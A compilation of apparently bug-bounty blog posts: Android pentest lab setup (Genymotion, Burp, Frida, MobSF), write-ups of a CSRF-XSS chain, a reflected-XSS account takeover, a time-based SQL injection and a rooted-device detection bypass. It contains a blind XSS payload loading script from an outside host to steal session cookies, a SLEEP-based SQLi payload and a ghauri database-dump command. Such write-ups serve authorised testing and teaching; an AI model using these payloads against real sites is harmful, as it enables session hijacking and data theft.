Download Genymotion with virtual box: https://www.genymotion.com/product-desktop/download/

Installing Genymotion
1. You can see something like “genymotion-3.X.X-linux_x64.bin” in your Downloads directory.
2. Open your terminal and navigate to your Downloads folder: Cd Downloads
3. Give run permission to the Genymotion installer binary file:

$ chmod +x genymotion-3.X.X-linux_x64.bin
$ ./genymotion-3.X.X-linux_x64.bin -d {Genymotion_install_path}

Installing Virtual Box (If you have genymotion without virtual box)
$ sudo apt install virtual box
$ sudo apt update && sudo apt upgrade && sudo reboot

Launch genymotion either by searching genymotion or by navigating to the installation path, for example you have installed it in /usr/share/genymotion

So, go to
$ cd /usr/share/genymotion
$ ./genymotion

Or, directly run from search bar.

Once the emulator is successfully running install the preferred virtual device from (+) icon on the top right side. I have installed Google Pixel with Android API (8.1 — API 27)

After the device is successfully installed, click on three dots on the right side and click on edit, make sure the emulator is not running. Change the Network mode to Bridge and run your emulator.

Try installing any apps by drag and drop method, if you get an error something like this “An error occurred while deploying the file.
This probably means that the app contains ARM native code and your Genymotion device cannot run ARM instructions.”
Just go to “https://github.com/m9rco/Genymotion_ARM_Translation"
There you can see Android version mapping. As i told you before i have installed Android 8.1
Check yours by launching genymotion and take a look at your virtual device Android version.

Just Click on yours android version mapping accordingly. For me it’s 8.0. Click on Download.
After successfully downloaded. Just Drag and Drop it to the Phone that is running. It will ask to flash it to the virtual device. Click OK.
If you want to flash it manually then you can try:
$ adb shell
$ cd /sdcard/Download/
$ sh /system/bin/flash-archive.sh /sdcard/Download/Genymotion-ARM-Translation.zip
$ adb reboot
Reboot the virtual device. You can now Install apps freely.

What? You don’t have a Play store? Don’t worry. Just a Click ahead.

After the virtual device is running. Look at Your Right Side. You can see “Open GApps”. Just Click and Download it.

Downloading Open GApps

Restart the virtual device. You will see your play store installed.

Open GApps Installed

Genymotion with Burp suite

Installing Burp Certificate in Virtual Device (Mobile Phone)
Reference from: https://www.youtube.com/watch?v=_O_-JQUehEY&t=639s
1. Open Burp suite > Proxy > Options
2. Click on “Import / export CA certificate”
3. Select the first option “Certificate in DER Format” and click Next Click on Select File.
4. Now navigate to the desired directory where you want to save the Certificate file. Enter the certificate name in the File.

Make sure to save it in .der format. Click Save and click Next. The certificate is exported successful.
Now open your terminal and go to the same directory where the file is exported. Type the command as below:

$ openssl x509 -inform DER -in Certificate.der -out Certificate.pem
$ openssl x509 -inform PEM -subject_hash_old -in Certificate.pem |head -1

You will see a hash value (9a5ba575.0). Yours maybe different.

Now, rename Certificate.pem to 9a5ba575.0 by command “mv Certificate.pem 9a5ba575.0”

Now, “adb push 9a5ba575.0 /sdcard”

$ adb shell

$ mv /sdcard/9a5ba575.0 /system/etc/security/cacerts

An error message appears, which says: “Read-Only File System”. Enter the following commands:

$ exit
$ adb remount

If the remount is not working. Try this

$ adb shell

$ su

$ mount -o rw,remount /

$ mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
$ chmod 644 /system/etc/security/cacerts/9a5ba575.0

Don’t forget to reset the state to ‘ro’.

Now, do

$ mount -o ro,remount /
$ reboot

You can check the installed certificate by:
1. Go to virtual machine (mobile) settings.
2. Search for encryption & credentials.
3. Click on Trusted Credentials
4. Scroll down to see the Portswigger certificate.

Managing the Proxy.

1. Start the virtual device in genymotion.

2. Go to wifi settings. Tap and hold the wifi, Click on Modify Network

3. OR Open wifi settings, you can see a gear icon on right side of your connected wifi. Click on it and click on the pen icon on the top. On proxy click Manual.

4. Enter the IP address of your machine (The same IP that you entered on Burp suite Proxy).

5. Open your Burp suite > Proxy > Options and click on edit, select specific address and select your machine IP. Bind the port to 8080.

6. To check your machine IP go to terminal and enter “ifconfig”. Select the same IP on Burp Suite on the specific address. Also, Click on Request handling and click the Support invisible proxying options.

The easy way for Managing proxy in virtual device (Recommended)

1. Download and Install Proxy Droid on your virtual device (Mobile).

2. Go to https://proxydroid.en.uptodown.com/android

3. Drag and drop it on your virtual device and install it.

4. Open Proxy Droid. Click on Host and enter you Machine IP (The same IP that you entered on Burp suite Proxy).

5. Click on Port and enter 8080.

6. Now Turn on the Proxy Droid

Setting Up Frida

You can use pip command to install frida.

$ pip install frida-tools

Verify whether it is working or not by using the command below:

$ frida-ps : It will show you the running process name and its PID.

Some Frida Commands

$ frida — version : Check frida version

$ frida-ps -U : View the running Process id’s and names from your device terminal

$ frida-ls-devices : List all the attached devices.

$ frida-ps -D 192.168.59.101:5555 : This command is used to connect frida to the specific device listed from frida-ls-devices.

$ frida-ps -Uai : This will list the installed applications in the device

$ frida-ps -Ua : This will list all the running applications in the device.

$ frida -U -f owasp.mstg.uncrackable1 -l disableroot.js : This command can help in loading external scripts (js) into the application by adding -l options with JavaScript file. Option -f is for finding the application, and then to hook it. Use “exit” command to exit the process.

Setting up Frida on Android

For this you need a rooted android device or rooted emulators. Let me assume that you have the rooted device ready to install frida server.

You will need to have ADB tool. Now, download the Frida Server for your specific android platform (arm, arm64, X86, X86_64). Just go to the official release page: https://github.com/frida/frida/releases . Scroll down to frida server and download the required one. For me i downloaded “frida-server-15.1.24-android-x86.xz” as my genymotion did not support x64.

After you have downloaded the frida server zip file, unzip and rename it to frida-server.

Copy the frida-server file to the android phone’s tmp directory using the following commands:

$ adb push frida-server /data/local/tmp

Now change the permission of the frida-server file

$ adb shell

$ chmod 755 /data/local//tmp/frida-server

$ /data/local/tmp/frida-server &

Now, remember that every time, you will need to run the frida-server to connect with the Linux terminal. Now, connect the virtual device and confirm it by checking for available devices.

$ adb devices

If you are not connected to the device. Connect it by:

$ adb connect IP:5555

To disconnect the device:

$ adb disconnect

Now after connecting the device and everything is ready. From Linux terminal, we can connect frida-server by following command:

$ frida-ps -U

If everything’s good, the above command will give you the running process id’s and names from your device. Now, you are good to go with frida.

Setting up MobSF (If you are facing errors, else jump to direct installation via mobsf git repo)

To Install MobSF you will need some other few requirements.

• Install Git sudo apt-get install git

• Install Python 3.8+ sudo apt-get install python3.8

• Install JDK 8+ sudo apt-get install openjdk-8-jdk

• Install pip and Virtual Environment: sudo apt install python3-pip && sudo apt install python3.9-venv

• Install the following dependencies :sudo apt install python3-dev python3-venv python3-pip build-essential libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev wkhtmltopdf

If you get error while installing libjpeg8-dev dependency. Install another version of it called libjpeg62-turbo-dev with the command below:

sudo apt install libjpeg62-turbo-dev

If you like to generate PDF documents of the MobSF report then install wkhtmltopdf too: sudo apt install wkhtmltopdf

Steps to Install MobSF from GitHub:

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git

cd Mobile-Security-Framework-MobSF

./setup.sh

Running MobSF:

./run.sh It will start a server in localhost:8000, you can browse it your preferred browser.

after running ./run.sh

MobSF local host Homepage

MobSF process in terminal

To Update MobSF:

cd Mobile-Security-Framework-MobSF/
git pull origin master
. venv/bin/activate
pip install --no-cache-dir --use-deprecated=legacy-resolver -r requirements.txt
python manage.py makemigrations
python manage.py makemigrations StaticAnalyzer
python manage.py migrate
deactivate

MobSF Update

If you are performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won’t be able to fix them from the GUI. You can fix the proxy settings by doing:

$ adb shell settings put global http_proxy :0

OK, so you maybe wondering how do i get the legit apk file for MobSF. If you want the apk file directly from the play store, follow the steps:

1. Install an app from Playstore, for example: spiderman.apk

2. After the app is successfully installed, open your Linux terminal and give command:

$ adb shell pm list packages | grep “spiderman”
The package name appears on your terminal. for example: com.mcu.spiderman
$ adb shell pm path com.mcu.spiderman
Now pull the base.apk with its absolute path $ adb pull /data/app/../base.apk

Intercepting Traffic in IOS:

Refer to: https://bhattsameer.github.io/2021/06/23/Intercepting-flutter-iOS-application.html

Proper Android Penetration Testing Checklist : https://github.com/nirajkharel/NotJustAChecklist/blob/main/Android.md

I use Genymotion (Google Pixel 3 — Android Version 9) and Kali Linux

Let’s start the configuration.

1. Make sure you save this two scripts.
   Github

2. Now, on your machine type ifconfig and copy the IP of your machine.

3. Now sudo chmod +x *.sh and run ./install.sh

4. If you’ve previously installed the OpenVPN, uninstall it by selecting the option 3

Else, just run ./install.sh and enter the IP copied in Step 2

Then Press Enter button till you reach to enter the name. Enter the name of the file you want to create. Here i have named it test.

The file will be saved in /root directory. So, you may want to copy it to your present work directory just run sudo cp /root/test.ovpn .

Now, run ./route.sh script to route the traffic.

Now, you have to transfer that file to your android emulator. You can use python server or drag and drop.

Now, Open BurpSuite and Go to Proxy Settings.

Click on Specific Address and select the OpenVPN IP.

Now, You will receive your traffic from the android/emulator.

Now, Install OpenVPN from Play store in your android/emulator and import the test.ovpn file which was created before and turn on the OpenVPN.

That’s All. Happy Hacking. Let me know if you face any issues.

This blog explains how i chained a CSRF and XSS on a POST request. So, lets get straight into it. One day i was hunting on a private program and i could see most of hacker’s were reporting CSRF. Almost 5 reports out of 10 were them. Lot’s of CSRF right?. Let’s name the scope https://brainfuck.com

I wouldn’t waste time looking for more CSRF as the chance of getting a duplicate is high. So, i started looking for OAuth Misconfiguration. Then, i saw that my reflector plugin identified a reflection in a POST parameter. The POST request was being made on /address and the reflected parameter was thelia_front_address_create[success_url] . So, i tried looking for XSS manually. Wasted almost 2 hours, started my KNOXSS API took a break and came back. Finally KNOXSS found a bypass payload (Can’t share you the payload but you can check yourself at https://knoxss.me )

So, this payload finally pops an XSS. But, this is a self XSS (Out Of Scope). Now, do you remember i told a lot of CSRF were being reported? So, i checked and yes the POST request was vulnerable to CSRF attack. You could basically create address and set that address as the primary using a simple CSRF request. So, i started working on the exploit to chain this two bugs. First. i created a HTML form (POST based Request with the XSS payload on the vulnerable field) and hosted in my server.

Now, when the victim visit my page https://attacker.com/csrf.html he/she will be redirected to https://brainfuck.com/address (The scope i was testing) and the XSS will be executed. Now, i did some tweaks on the payload and combined it with blind xss. But, for some reason i was not getting the PHPSESSID. Man, i could have achieved an account takeover. Upon further investing the whole thing. I noticed the samesite=lax; httponly in the cookie header. I was so close to a high severity Bug. So, what restricted me from account takeover?

• SameSite=Lax: This attribute restricts the cookie from being sent with cross-site requests unless they are top-level navigation (e.g., clicking a link). However, it doesn’t block cookies from being sent for requests originating from the same site.

• HttpOnly: This attribute makes the cookie inaccessible to JavaScript through document.cookie, which means you cannot directly access it in client-side JavaScript code. This prevents you from stealing cookies via typical JavaScript methods like document.cookie.

Also, the site had no such features where all the users could interact with each other, such as comments or else i would have used that bypass payload for stored XSS to account takeover. Anyways, even the XSS was limited. I wrote a report and submitted to the team. I had already spent a lot of time in this bug. Also, i was not sure if this will be accepted as i told you earlier, lots of CSRF. Now, begins the real BRAINFUCK. This is what i got reply from the triager.

I was like, What the FUCK?

Then, i investigated the whole thing again from the beginning. Then, i came to know i missed the most important and weirdest thing in my HTML form. The application logic was something like this:

The initial login decision (whether "Remember Me" is selected).

• Error handling paths: If an error occurs, the application will either:

  • Redirect to the same page if "Remember Me" is selected.

  • Log out the user and redirect to the login page if "Remember Me" is not selected.

It took me exactly an hour to identify this logic. I updated the team with further info.

Finally, the team reopened the report.

This, time they were able to reproduce the the POC and it was accepted and rewarded accordingly.

This is all for today. May the Pop Up be with You. :)

I would love to hear your thoughts on this. Maybe we can connect on X (Twitter)

Account Takeover via RXSS

I setup my BurpSuite and started navigating the program. It was a french site so i had to use translator. Then, I created an account and went through all the functionalities as a user. I then checked my Burp Traffic and noticed the response contained lots of forms. I had already gathered the technologies the site used via Wappalyzer. The Site was developed on PHP and the database was MySQL as per Wappalyzer. I started checking every parameters which allowed special characters using a simple Burp extension called Reflector. Basically the extension checks if the parameters are reflected and which symbols are allowed in this reflection. Finally, there was an option to create address, you could basically add multiple addresses and select those accordingly. So, While creating the address it sent a get request to /address/create . As, i said i was looking for parameters (was running Arjun on loop passing the cookies as header) Arjun found next parameter on the path /address/create .

When i opened the URL with the param in my browser, the reflector extension showed me something like this.

Awesome, the param looks suspicious as the special characters are not filtered. I quickly tried a simple xss payload but it was not working. Then i used Knoxnl which was integrated via PIPER extension by using Knoxnl (It’s a wrapper for KNOXSS API)

Had to wait a little till the XSS is Successful/Unsuccessfull. And finally Got the payload and tried manually.

Now, time to escalate it to Account Takeover which was easy. I simply added my KNOXSS blind xss payload (ya3raj"><Script /Src=https://X55.is?1=14833>) and exfiltrated the victim’s session cookies.

Time for SQLi

Same Platform. On Looking Further. On Visiting My Profile Section. The application sent a POST request to /account/my_fund_jars_front/data where there were a bunch of post parameters. Few parameters caught my eye, they were taking integer as input. I mostly look SQLi’s on parameters that take numbers as input. So, i tried adding a quotation (‘) one by one on all the parameters that took numbers as input. And, on the length parameter the server threw a 500 error response which was suspicious. So i tried with double quotation (‘‘) and the server gave the response with code 200. Then, i tried time based payloads and got the response accordingly. The payload was ;(SELECT(1)FROM(SELECT(SLEEP(5)))a)-- Time to dump the database name for POC. I saved the POST request in a text file and gave the ghauri command ghauri -r sql.txt --batch --dbs --technique=BT and successfully dumped the database name.

Both of the Reports got Accepted as High(8.2) and Critical(10).

That’s all Guys. Thanks for reading to the end. May the Popup and 500 error be with you. Happy Hunting.

https://www.python.org/ftp/python/3.11.9/

Now, Install all the required dependencies to compile and install Python 3.11.9

sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget libbz2-dev

Download and extract 3.11.9 by using wget command.

wget https://www.python.org/ftp/python/3.11.9/Python-3.11.9.tar.xz

Extract it

tar -xf Python-3.11.9.tgz

Configure the build with optimization flags:

cd Python-3.11.9 && ./configure --enable-optimizations

Build Python using multiple processors to speed up the process and Install Python 3.11.9 on your system:

make -j$(nproc) && sudo make altinstall

Check if the python version 3.11 is installed

python3.11 --version

Set Python 3.11 as the Default To conveniently access Python 3.11 using below command

nano ~/.zshrc

Add the following line at the end of the .zshrc file and save it.

alias python3='/usr/local/bin/python3.11'

Also refresh the .zshrc via source comand

source ~/.zshrc

Verify the Default Python Version Check the Python version using the python3 command:

python3 --version

Understanding Root Detection

Root detection is a common defence mechanism in mobile apps. It prevents rooted or jailbroken devices from accessing sensitive features. The logic is simple: a rooted device can bypass restrictions, manipulate data, and even exploit app logic. For financial apps especially, consistent enforcement of root detection is critical.

But EvilCorp’s implementation wasn’t consistent. That inconsistency opened the door for me to bypass root detection entirely and carry out normal user flows on a rooted device.

Initial Setup

• Prepared a Genymotion emulator (rooted)

• Installed the EvilCorp app

• Launched the app → greeted with the usual “Root devices not supported!” warning screen

This was expected. Many apps either crash, block execution, or show a custom error message when root is detected.

So far, nothing unusual.

Digging Deeper

I grabbed the APK and decoded it with JADX-GUI. Searched for strings like root, root-detection, rooted. Read a bit of the logic, then went back to explore the UI.

That’s when I noticed a “Contact Us” button.

On a rooted device, Frida scripts weren’t helping, so I switched tactics. I installed the app on a normal phone just to see what was behind “Contact Us.” Instead of a form, it revealed a full list of support options.

At this point I had a hunch.

The Alternate Channel Trick

Here’s what I did:

1. Turned off my VPN connection.

2. Removed any proxy/VPN configuration from my PC.

3. Cleared the EvilCorp app’s cache/storage.

4. Reopened the app.

Surprisingly, the Contact Us page was now accessible, even on a rooted device. When I re-enabled VPN, it stopped working. Disabling it again → accessible.

Then I tried with a custom WiFi proxy and captured traffic successfully. Effectively, the root detection had been bypassed through this alternate channel.

Why Did This Work?

The root detection bypass happened because EvilCorp only enforced checks in certain parts of the app:

• At startup/login, the app checked for root and blocked the user.

• But in secondary flows (like Contact Us and Help pages), the check was skipped.

• On top of that, the Contact Us activity behaved differently depending on VPN/proxy usage, suggesting the developers bundled VPN checks with root checks in the same logic. Disabling VPN caused the root check branch to fail, leaving the page accessible.

• From there, the “Chat with Us” flow reused registration components that didn’t enforce root detection either.

This is a classic case of inconsistent security enforcement: a protection works in one place but is missing in another. Once a single alternate path exists, the entire defense is effectively broken.

Escalating the Test

Inside Help & Support, I found “Chat with us” → EvilCorp’s chatbot, EC Buddy.

I compared EC Buddy’s responses on:

• A rooted device (logged out)

• A normal device (logged in)

Key observation:

• If logged out → EC Buddy only offered “Login” or “Back to Main Menu”

• 

• If logged in → EC Buddy exposed flows like KYC and Bank Account options.

  

But here’s the catch. Even while rooted and logged out, EC Buddy still gave me the “Create Account for Free” path.

So I clicked it.

Account Registration on a Rooted Device

The flow went like this:

1. Clicked “Create Account”

2. Landed on the registration page

   

3. Filled details → OTP sent

   

4. Successfully received OTP

   

5. Registered the account

At this point, I had a fully working registered account from a rooted device.

For completeness, I also:

• Verified OTP flow

• Reset the password (got OTP by mail + SMS)

  

• 

• Logged in with the new password

All steps worked on the rooted device.

The only limitation: once logged in, content pages showed “Check your connection” as the root detection is checked on the Main Activity. But the entire registration + password reset + login flow worked, something root detection was supposed to block.

Proof of Concept (POC)

• Registered multiple accounts from rooted devices

• Screen-recorded full flow

• Showed OTP delivery (SMS + email)

• Compared EC Buddy responses across rooted vs. non-rooted environments

Program Response

I submitted the findings with full POCs. The triager’s final response:

“As you can’t login, we don’t identify any real security impact.”

The report was closed as informational.

Lessons for Developers

This bug is a good reminder that:

• Root detection must be consistent. Applying checks only at login or splash screen isn’t enough.

• Alternate paths matter. Even “harmless” flows like Contact Us or ChatBot can indirectly lead to sensitive functionality.

• Don’t bundle checks together. Root detection, VPN detection, and emulator detection should be handled independently. Otherwise, a bypass in one can weaken the others.

Reflections

Sometimes, bug bounty reports get misunderstood. The impact here was clear: EvilCorp’s root detection was inconsistently enforced, allowing critical flows like account registration and password reset from a rooted environment.

But as often happens in bug bounty:

• Some triagers lack context

• Some programs don’t value certain classes of issues

• Sometimes it’s just bad luck

The program eventually moved platforms, but this experience highlights why root detection should be consistent across all app activities.

Timeline

• Reported: 2024–06–19

• Closed as Informational: 2024–08–01